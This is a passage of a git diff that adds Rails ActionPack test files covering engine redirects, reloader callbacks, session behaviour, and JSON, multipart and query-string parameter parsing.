+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, response.status
+        assert_equal url, response.headers["Location"]
+        assert_equal expected_redirect_body(url), response.body
+      end
+
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
+  end
+
+  class EngineMountedAtRoot < ActionDispatch::IntegrationTest
+    class BlogEngine
+      def self.routes
+        @routes ||= begin
+          routes = ActionDispatch::Routing::RouteSet.new
+          routes.draw do
+            get "/posts/:id", to: "posts#show", as: :post
+
+            get "/relative_path_root",       to: redirect("")
+            get "/relative_path_redirect",   to: redirect("foo")
+            get "/relative_option_root",     to: redirect(path: "")
+            get "/relative_option_redirect", to: redirect(path: "foo")
+            get "/relative_custom_root",     to: redirect { |params, request| "" }
+            get "/relative_custom_redirect", to: redirect { |params, request| "foo" }
+
+            get "/absolute_path_root",       to: redirect("/")
+            get "/absolute_path_redirect",   to: redirect("/foo")
+            get "/absolute_option_root",     to: redirect(path: "/")
+            get "/absolute_option_redirect", to: redirect(path: "/foo")
+            get "/absolute_custom_root",     to: redirect { |params, request| "/" }
+            get "/absolute_custom_redirect", to: redirect { |params, request| "/foo" }
+          end
+
+          routes
+        end
+      end
+
+      def self.call(env)
+        env["action_dispatch.routes"] = routes
+        routes.call(env)
+      end
+    end
+
+    class RailsApplication < Rails::Engine
+      routes.draw do
+        mount BlogEngine => "/"
+      end
+    end
+
+    class ::PostsController < ActionController::Base
+      include BlogEngine.routes.url_helpers
+      include RailsApplication.routes.mounted_helpers
+
+      def show
+        render plain: post_path(id: params[:id])
+      end
+    end
+
+    def app
+      RailsApplication.instance
+    end
+
+    test "generating path inside engine" do
+      get "/posts/1"
+      assert_equal "/posts/1", response.body
+    end
+
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/relative_path_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+      get "/relative_path_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/relative_option_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+      get "/relative_option_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/relative_custom_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+      get "/relative_custom_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_path_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_path_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_option_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_option_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_custom_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+      get "/absolute_custom_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, response.status
+        assert_equal url, response.headers["Location"]
+        assert_equal expected_redirect_body(url), response.body
+      end
+
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
+  end
+end
diff --git a/actionpack/test/dispatch/rack_cache_test.rb b/actionpack/test/dispatch/rack_cache_test.rb
new file mode 100644
index 0000000000..86b375a2a8
--- /dev/null
+++ b/actionpack/test/dispatch/rack_cache_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/http/rack_cache"
+
+class RackCacheMetaStoreTest < ActiveSupport::TestCase
+  class ReadWriteHash < ::Hash
+    alias :read  :[]
+    alias :write :[]=
+  end
+
+  setup do
+    @store = ActionDispatch::RailsMetaStore.new(ReadWriteHash.new)
+  end
+
+  test "stuff is deep duped" do
+    @store.write(:foo, bar: :original)
+    hash = @store.read(:foo)
+    hash[:bar] = :changed
+    hash = @store.read(:foo)
+    assert_equal :original, hash[:bar]
+  end
+end
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
new file mode 100644
index 0000000000..e529229fae
--- /dev/null
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -0,0 +1,167 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ReloaderTest < ActiveSupport::TestCase
+  teardown do
+    ActiveSupport::Reloader.reset_callbacks :prepare
+    ActiveSupport::Reloader.reset_callbacks :complete
+  end
+
+  class MyBody < Array
+    def initialize(&block)
+      @on_close = block
+    end
+
+    def foo
+      "foo"
+    end
+
+    def bar
+      "bar"
+    end
+
+    def close
+      @on_close.call if @on_close
+    end
+  end
+
+  def test_prepare_callbacks
+    a = b = c = nil
+    reloader.to_prepare { |*args| a = b = c = 1 }
+    reloader.to_prepare { |*args| b = c = 2 }
+    reloader.to_prepare { |*args| c = 3 }
+
+    # Ensure to_prepare callbacks are not run when defined
+    assert_nil a || b || c
+
+    # Run callbacks
+    call_and_return_body
+
+    assert_equal 1, a
+    assert_equal 2, b
+    assert_equal 3, c
+  end
+
+  def test_returned_body_object_always_responds_to_close
+    body = call_and_return_body
+    assert_respond_to body, :close
+  end
+
+  def test_returned_body_object_always_responds_to_close_even_if_called_twice
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+
+    body = call_and_return_body
+    assert_respond_to body, :close
+    body.close
+  end
+
+  def test_condition_specifies_when_to_reload
+    i, j = 0, 0, 0, 0
+
+    reloader = reloader(lambda { i < 3 })
+    reloader.to_prepare { |*args| i += 1 }
+    reloader.to_complete { |*args| j += 1 }
+
+    app = middleware(lambda { |env| [200, {}, []] }, reloader)
+    5.times do
+      resp = app.call({})
+      resp[2].close
+    end
+    assert_equal 3, i
+    assert_equal 3, j
+  end
+
+  def test_returned_body_object_behaves_like_underlying_object
+    body = call_and_return_body do
+      b = MyBody.new
+      b << "hello"
+      b << "world"
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    assert_equal 2, body.size
+    assert_equal "hello", body[0]
+    assert_equal "world", body[1]
+    assert_equal "foo", body.foo
+    assert_equal "bar", body.bar
+  end
+
+  def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
+    close_called = false
+    body = call_and_return_body do
+      b = MyBody.new do
+        close_called = true
+      end
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    body.close
+    assert close_called
+  end
+
+  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
+    body = call_and_return_body do
+      [200, { "Content-Type" => "text/html" }, MyBody.new]
+    end
+    assert_respond_to body, :size
+    assert_respond_to body, :each
+    assert_respond_to body, :foo
+    assert_respond_to body, :bar
+  end
+
+  def test_complete_callbacks_are_called_when_body_is_closed
+    completed = false
+    reloader.to_complete { completed = true }
+
+    body = call_and_return_body
+    assert !completed
+
+    body.close
+    assert completed
+  end
+
+  def test_prepare_callbacks_arent_called_when_body_is_closed
+    prepared = false
+    reloader.to_prepare { prepared = true }
+
+    body = call_and_return_body
+    prepared = false
+
+    body.close
+    assert !prepared
+  end
+
+  def test_complete_callbacks_are_called_on_exceptions
+    completed = false
+    reloader.to_complete { completed = true }
+
+    begin
+      call_and_return_body do
+        raise "error"
+      end
+    rescue
+    end
+
+    assert completed
+  end
+
+  private
+    def call_and_return_body(&block)
+      app = middleware(block || proc { [200, {}, "response"] })
+      _, _, body = app.call("rack.input" => StringIO.new(""))
+      body
+    end
+
+    def middleware(inner_app, reloader = reloader())
+      ActionDispatch::Reloader.new(inner_app, reloader)
+    end
+
+    def reloader(check = lambda { true })
+      @reloader ||= begin
+                      reloader = Class.new(ActiveSupport::Reloader)
+                      reloader.check = check
+                      reloader
+                    end
+    end
+end
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
new file mode 100644
index 0000000000..beab8e78b5
--- /dev/null
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -0,0 +1,207 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class JsonParamsParsingTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses json params for application json" do
+    assert_parses(
+      { "person" => { "name" => "David" } },
+      "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/json"
+    )
+  end
+
+  test "parses boolean and number json params for application json" do
+    assert_parses(
+      { "item" => { "enabled" => false, "count" => 10 } },
+      "{\"item\": {\"enabled\": false, \"count\": 10}}", "CONTENT_TYPE" => "application/json"
+    )
+  end
+
+  test "parses json params for application jsonrequest" do
+    assert_parses(
+      { "person" => { "name" => "David" } },
+      "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/jsonrequest"
+    )
+  end
+
+  test "does not parse unregistered media types such as application/vnd.api+json" do
+    assert_parses(
+      {},
+      "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/vnd.api+json"
+    )
+  end
+
+  test "nils are stripped from collections" do
+    assert_parses(
+      { "person" => [] },
+      "{\"person\":[null]}", "CONTENT_TYPE" => "application/json"
+    )
+    assert_parses(
+      { "person" => ["foo"] },
+      "{\"person\":[\"foo\",null]}", "CONTENT_TYPE" => "application/json"
+    )
+    assert_parses(
+      { "person" => [] },
+      "{\"person\":[null, null]}", "CONTENT_TYPE" => "application/json"
+    )
+  end
+
+  test "logs error if parsing unsuccessful" do
+    with_test_routing do
+      output = StringIO.new
+      json = "[\"person]\": {\"name\": \"David\"}}"
+      post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => ActiveSupport::Logger.new(output) }
+      assert_response :bad_request
+      output.rewind && err = output.read
+      assert err =~ /Error occurred while parsing request parameters/
+    end
+  end
+
+  test "occurring a parse error if parsing unsuccessful" do
+    with_test_routing do
+      begin
+        $stderr = StringIO.new # suppress the log
+        json = "[\"person]\": {\"name\": \"David\"}}"
+        exception = assert_raise(ActionDispatch::Http::Parameters::ParseError) do
+          post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => false }
+        end
+        assert_equal JSON::ParserError, exception.cause.class
+        assert_equal exception.cause.message, exception.message
+      ensure
+        $stderr = STDERR
+      end
+    end
+  end
+
+  test "raw_post is not empty for JSON request" do
+    with_test_routing do
+      post "/parse", params: '{"posts": [{"title": "Post Title"}]}', headers: { "CONTENT_TYPE" => "application/json" }
+      assert_equal '{"posts": [{"title": "Post Title"}]}', request.raw_post
+    end
+  end
+
+  private
+    def assert_parses(expected, actual, headers = {})
+      with_test_routing do
+        post "/parse", params: actual, headers: headers
+        assert_response :ok
+        assert_equal(expected, TestController.last_request_parameters)
+      end
+    end
+
+    def with_test_routing
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            post ":action", to: ::JsonParamsParsingTest::TestController
+          end
+        end
+        yield
+      end
+    end
+end
+
+class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest
+  class UsersController < ActionController::Base
+    wrap_parameters format: :json
+
+    class << self
+      attr_accessor :last_request_parameters, :last_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      self.class.last_parameters = params.to_unsafe_h
+      head :ok
+    end
+  end
+
+  def teardown
+    UsersController.last_request_parameters = nil
+  end
+
+  test "parses json params for application json" do
+    assert_parses(
+      { "user" => { "username" => "sikachu" }, "username" => "sikachu" },
+      "{\"username\": \"sikachu\"}", "CONTENT_TYPE" => "application/json"
+    )
+  end
+
+  test "parses json params for application jsonrequest" do
+    assert_parses(
+      { "user" => { "username" => "sikachu" }, "username" => "sikachu" },
+      "{\"username\": \"sikachu\"}", "CONTENT_TYPE" => "application/jsonrequest"
+    )
+  end
+
+  test "parses json with non-object JSON content" do
+    assert_parses(
+      { "user" => { "_json" => "string content" }, "_json" => "string content" },
+      "\"string content\"", "CONTENT_TYPE" => "application/json"
+    )
+  end
+
+  test "parses json params after custom json mime type registered" do
+    begin
+      Mime::Type.unregister :json
+      Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
+      assert_parses(
+        { "user" => { "username" => "meinac" }, "username" => "meinac" },
+        "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/json"
+      )
+    ensure
+      Mime::Type.unregister :json
+      Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
+    end
+  end
+
+  test "parses json params after custom json mime type registered with synonym" do
+    begin
+      Mime::Type.unregister :json
+      Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
+      assert_parses(
+        { "user" => { "username" => "meinac" }, "username" => "meinac" },
+        "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/vnd.rails+json"
+      )
+    ensure
+      Mime::Type.unregister :json
+      Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
+    end
+  end
+
+  private
+    def assert_parses(expected, actual, headers = {})
+      with_test_routing(UsersController) do
+        post "/parse", params: actual, headers: headers
+        assert_response :ok
+        assert_equal(expected, UsersController.last_request_parameters)
+        assert_equal(expected.merge("action" => "parse"), UsersController.last_parameters)
+      end
+    end
+
+    def with_test_routing(controller)
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            post ":action", to: controller
+          end
+        end
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
new file mode 100644
index 0000000000..da8233c074
--- /dev/null
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters, :last_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = begin
+        request.request_parameters
+      rescue EOFError
+        {}
+      end
+      self.class.last_parameters = request.parameters
+      head :ok
+    end
+
+    def read
+      render plain: "File: #{params[:uploaded_data].read}"
+    end
+  end
+
+  FIXTURE_PATH = File.expand_path("../../fixtures/multipart", __dir__)
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses single parameter" do
+    assert_equal({ "foo" => "bar" }, parse_multipart("single_parameter"))
+  end
+
+  test "parses bracketed parameters" do
+    assert_equal({ "foo" => { "baz" => "bar" } }, parse_multipart("bracketed_param"))
+  end
+
+  test "parse single utf8 parameter" do
+    assert_equal({ "Iñtërnâtiônàlizætiøn_name" => "Iñtërnâtiônàlizætiøn_value" },
+                 parse_multipart("single_utf8_param"), "request.request_parameters")
+    assert_equal(
+      "Iñtërnâtiônàlizætiøn_value",
+      TestController.last_parameters["Iñtërnâtiônàlizætiøn_name"], "request.parameters")
+  end
+
+  test "parse bracketed utf8 parameter" do
+    assert_equal({ "Iñtërnâtiônàlizætiøn_name" => {
+      "Iñtërnâtiônàlizætiøn_nested_name" => "Iñtërnâtiônàlizætiøn_value" } },
+      parse_multipart("bracketed_utf8_param"), "request.request_parameters")
+    assert_equal(
+      { "Iñtërnâtiônàlizætiøn_nested_name" => "Iñtërnâtiônàlizætiøn_value" },
+      TestController.last_parameters["Iñtërnâtiônàlizætiøn_name"], "request.parameters")
+  end
+
+  test "parses text file" do
+    params = parse_multipart("text_file")
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal "bar", params["foo"]
+
+    file = params["file"]
+    assert_equal "file.txt", file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert_equal "contents", file.read
+  end
+
+  test "parses utf8 filename with percent character" do
+    params = parse_multipart("utf8_filename")
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal "bar", params["foo"]
+
+    file = params["file"]
+    assert_equal "ファイル%名.txt", file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert_equal "contents", file.read
+  end
+
+  test "parses boundary problem file" do
+    params = parse_multipart("boundary_problem_file")
+    assert_equal %w(file foo), params.keys.sort
+
+    file = params["file"]
+    foo  = params["foo"]
+
+    assert_equal "file.txt", file.original_filename
+    assert_equal "text/plain", file.content_type
+
+    assert_equal "bar", foo
+  end
+
+  test "parses large text file" do
+    params = parse_multipart("large_text_file")
+    assert_equal %w(file foo), params.keys.sort
+    assert_equal "bar", params["foo"]
+
+    file = params["file"]
+
+    assert_equal "file.txt", file.original_filename
+    assert_equal "text/plain", file.content_type
+    assert_equal(("a" * 20480), file.read)
+  end
+
+  test "parses binary file" do
+    params = parse_multipart("binary_file")
+    assert_equal %w(file flowers foo), params.keys.sort
+    assert_equal "bar", params["foo"]
+
+    file = params["file"]
+    assert_equal "file.csv", file.original_filename
+    assert_nil file.content_type
+    assert_equal "contents", file.read
+
+    file = params["flowers"]
+    assert_equal "flowers.jpg", file.original_filename
+    assert_equal "image/jpeg", file.content_type
+    assert_equal 19512, file.size
+  end
+
+  test "parses mixed files" do
+    params = parse_multipart("mixed_files")
+    assert_equal %w(files foo), params.keys.sort
+    assert_equal "bar", params["foo"]
+
+    # Rack doesn't handle multipart/mixed for us.
+    files = params["files"]
+    assert_equal 19756, files.bytesize
+  end
+
+  test "does not create tempfile if no file has been selected" do
+    params = parse_multipart("none")
+    assert_equal %w(submit-name), params.keys.sort
+    assert_equal "Larry", params["submit-name"]
+    assert_nil params["files"]
+  end
+
+  test "parses empty upload file" do
+    params = parse_multipart("empty")
+    assert_equal %w(files submit-name), params.keys.sort
+    assert_equal "Larry", params["submit-name"]
+    assert params["files"]
+    assert_equal "", params["files"].read
+  end
+
+  test "uploads and reads binary file" do
+    with_test_routing do
+      fixture = FIXTURE_PATH + "/ruby_on_rails.jpg"
+      params = { uploaded_data: fixture_file_upload(fixture, "image/jpg") }
+      post "/read", params: params
+    end
+  end
+
+  test "uploads and reads file" do
+    with_test_routing do
+      post "/read", params: { uploaded_data: fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain") }
+      assert_equal "File: Hello", response.body
+    end
+  end
+
+  # This can happen in Internet Explorer when redirecting after multipart form submit.
+  test "does not raise EOFError on GET request with multipart content-type" do
+    with_routing do |set|
+      set.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action", controller: "multipart_params_parsing_test/test"
+        end
+      end
+      headers = { "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x" }
+      get "/parse", headers: headers
+      assert_response :ok
+    end
+  end
+
+  private
+    def fixture(name)
+      File.open(File.join(FIXTURE_PATH, name), "rb") do |file|
+        { "rack.input" => file.read,
+          "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+          "CONTENT_LENGTH" => file.stat.size.to_s }
+      end
+    end
+
+    def parse_multipart(name)
+      with_test_routing do
+        headers = fixture(name)
+        post "/parse", params: headers.delete("rack.input"), headers: headers
+        assert_response :ok
+        TestController.last_request_parameters
+      end
+    end
+
+    def with_test_routing
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            post ":action", controller: "multipart_params_parsing_test/test"
+          end
+        end
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
new file mode 100644
index 0000000000..f9ae5ef4e8
--- /dev/null
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class QueryStringParsingTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_query_parameters
+    end
+
+    def parse
+      self.class.last_query_parameters = request.query_parameters
+      head :ok
+    end
+  end
+  class EarlyParse
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      # Trigger a Rack parse so that env caches the query params
+      Rack::Request.new(env).params
+      @app.call(env)
+    end
+  end
+
+  def teardown
+    TestController.last_query_parameters = nil
+  end
+
+  test "query string" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1" },
+      "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
+    )
+  end
+
+  test "deep query string" do
+    assert_parses(
+      { "x" => { "y" => { "z" => "10" } } },
+      "x[y][z]=10"
+    )
+  end
+
+  test "deep query string with array" do
+    assert_parses({ "x" => { "y" => { "z" => ["10"] } } }, "x[y][z][]=10")
+    assert_parses({ "x" => { "y" => { "z" => ["10", "5"] } } }, "x[y][z][]=10&x[y][z][]=5")
+  end
+
+  test "deep query string with array of hash" do
+    assert_parses({ "x" => { "y" => [{ "z" => "10" }] } }, "x[y][][z]=10")
+    assert_parses({ "x" => { "y" => [{ "z" => "10", "w" => "10" }] } }, "x[y][][z]=10&x[y][][w]=10")
+    assert_parses({ "x" => { "y" => [{ "z" => "10", "v" => { "w" => "10" } }] } }, "x[y][][z]=10&x[y][][v][w]=10")
+  end
+
+  test "deep query string with array of hashes with one pair" do
+    assert_parses({ "x" => { "y" => [{ "z" => "10" }, { "z" => "20" }] } }, "x[y][][z]=10&x[y][][z]=20")
+  end
+
+  test "deep query string with array of hashes with multiple pairs" do
+    assert_parses(
+      { "x" => { "y" => [{ "z" => "10", "w" => "a" }, { "z" => "20", "w" => "b" }] } },
+      "x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b"
+    )
+  end
+
+  test "query string with nil" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "" },
+      "action=create_customer&full_name="
+    )
+  end
+
+  test "query string with array" do
+    assert_parses(
+      { "action" => "create_customer", "selected" => ["1", "2", "3"] },
+      "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
+    )
+  end
+
+  test "query string with amps" do
+    assert_parses(
+      { "action" => "create_customer", "name" => "Don't & Does" },
+      "action=create_customer&name=Don%27t+%26+Does"
+    )
+  end
+
+  test "query string with many equal" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "abc=def=ghi" },
+      "action=create_customer&full_name=abc=def=ghi"
+    )
+  end
+
+  test "query string without equal" do
+    assert_parses({ "action" => nil }, "action")
+    assert_parses({ "action" => { "foo" => nil } }, "action[foo]")
+    assert_parses({ "action" => { "foo" => { "bar" => nil } } }, "action[foo][bar]")
+    assert_parses({ "action" => { "foo" => { "bar" => [] } } }, "action[foo][bar][]")
+    assert_parses({ "action" => { "foo" => [] } }, "action[foo][]")
+    assert_parses({ "action" => { "foo" => [{ "bar" => nil }] } }, "action[foo][][bar]")
+  end
+
+  def test_array_parses_without_nil
+    assert_parses({ "action" => ["1"] }, "action[]=1&action[]")
+  end
+
+  test "perform_deep_munge" do
+    old_perform_deep_munge = ActionDispatch::Request::Utils.perform_deep_munge
+    ActionDispatch::Request::Utils.perform_deep_munge = false
+    begin
+      assert_parses({ "action" => nil }, "action")
+      assert_parses({ "action" => { "foo" => nil } }, "action[foo]")
+      assert_parses({ "action" => { "foo" => { "bar" => nil } } }, "action[foo][bar]")
+      assert_parses({ "action" => { "foo" => { "bar" => [nil] } } }, "action[foo][bar][]")
+      assert_parses({ "action" => { "foo" => [nil] } }, "action[foo][]")
+      assert_parses({ "action" => { "foo" => [{ "bar" => nil }] } }, "action[foo][][bar]")
+      assert_parses({ "action" => ["1", nil] }, "action[]=1&action[]")
+    ensure
+      ActionDispatch::Request::Utils.perform_deep_munge = old_perform_deep_munge
+    end
+  end
+
+  test "query string with empty key" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+      "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
+    )
+  end
+
+  test "query string with many ampersands" do
+    assert_parses(
+      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+      "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
+    )
+  end
+
+  test "unbalanced query string with array" do
+    assert_parses(
+      { "location" => ["1", "2"], "age_group" => ["2"] },
+      "location[]=1&location[]=2&age_group[]=2"
+    )
+  end
+
+  test "ambiguous query string returns a bad request" do
+    with_routing do |set|
+      set.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action", to: ::QueryStringParsingTest::TestController
+        end
+      end
+
+      get "/parse", headers: { "QUERY_STRING" => "foo[]=bar&foo[4]=bar" }
+      assert_response :bad_request
+    end
+  end
+
+  private
+    def assert_parses(expected, actual)
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":action", to: ::QueryStringParsingTest::TestController
+          end
+        end
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use(EarlyParse)
+        end
+
+        get "/parse", params: actual
+        assert_response :ok
+        assert_equal(expected, ::QueryStringParsingTest::TestController.last_query_parameters)
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
new file mode 100644
index 0000000000..7b6ce31f29
--- /dev/null
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/middleware/session/abstract_store"
+
+module ActionDispatch
+  class Request
+    class SessionTest < ActiveSupport::TestCase
+      attr_reader :req
+
+      def setup
+        @req = ActionDispatch::Request.empty
+      end
+
+      def test_create_adds_itself_to_env
+        s = Session.create(store, req, {})
+        assert_equal s, req.env[Rack::RACK_SESSION]
+      end
+
+      def test_to_hash
+        s = Session.create(store, req, {})
+        s["foo"] = "bar"
+        assert_equal "bar", s["foo"]
+        assert_equal({ "foo" => "bar" }, s.to_hash)
+      end
+
+      def test_create_merges_old
+        s = Session.create(store, req, {})
+        s["foo"] = "bar"
+
+        s1 = Session.create(store, req, {})
+        assert_not_equal s, s1
+        assert_equal "bar", s1["foo"]
+      end
+
+      def test_find
+        assert_nil Session.find(req)
+
+        s = Session.create(store, req, {})
+        assert_equal s, Session.find(req)
+      end
+
+      def test_destroy
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+
+        s.destroy
+
+        assert_empty s
+      end
+
+      def test_keys
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+        s["adequate"] = "awesome"
+        assert_equal %w[rails adequate], s.keys
+      end
+
+      def test_keys_with_deferred_loading
+        s = Session.create(store_with_data, req, {})
+        assert_equal %w[sample_key], s.keys
+      end
+
+      def test_values
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+        s["adequate"] = "awesome"
+        assert_equal %w[ftw awesome], s.values
+      end
+
+      def test_values_with_deferred_loading
+        s = Session.create(store_with_data, req, {})
+        assert_equal %w[sample_value], s.values
+      end
+
+      def test_clear
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+        s["adequate"] = "awesome"
+
+        s.clear
+        assert_empty(s.values)
+      end
+
+      def test_update
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+
+        s.update(rails: "awesome")
+
+        assert_equal(["rails"], s.keys)
+        assert_equal("awesome", s["rails"])
+      end
+
+      def test_delete
+        s = Session.create(store, req, {})
+        s["rails"] = "ftw"
+
+        s.delete("rails")
+
+        assert_empty(s.keys)
+      end
+
+      def test_fetch
+        session = Session.create(store, req, {})
+
+        session["one"] = "1"
+        assert_equal "1", session.fetch(:one)
+
+        assert_equal "2", session.fetch(:two, "2")
+        assert_nil session.fetch(:two, nil)
+
+        assert_equal "three", session.fetch(:three) { |el| el.to_s }
+
+        assert_raise KeyError do
+          session.fetch(:three)
+        end
+      end
+
+      private
+        def store
+          Class.new {
+            def load_session(env); [1, {}]; end
+            def session_exists?(env); true; end
+            def delete_session(env, id, options); 123; end
+          }.new
+        end
+
+        def store_with_data
+          Class.new {
+            def load_session(env); [1, { "sample_key" => "sample_value" }]; end
+            def session_exists?(env); true; end
+            def delete_session(env, id, options); 123; end
+          }.new
+        end
+    end
+
+    class SessionIntegrationTest < ActionDispatch::IntegrationTest
+      class MySessionApp
+        def call(env)
+          request = Rack::Request.new(env)
+          request.session["hello"] = "Hello from MySessionApp!"
+          [ 200, {}, ["Hello from MySessionApp!"] ]
+        end
+      end
+
+      Router = ActionDispatch::Routing::RouteSet.new
+      Router.draw do
+        get "/mysessionapp" => MySessionApp.new
+      end
+
+      def app
+        @app ||= RoutedRackApp.new(Router)
+      end
+
+      def test_session_follows_rack_api_contract_1
+        get "/mysessionapp"
+        assert_response :ok
+        assert_equal "Hello from MySessionApp!", @response.body
+        assert_equal "Hello from MySessionApp!", session["hello"]
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
new file mode 100644
index 0000000000..9e55a7242e
--- /dev/null
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -0,0 +1,181 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters, :last_request_type
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_request_parameters = nil
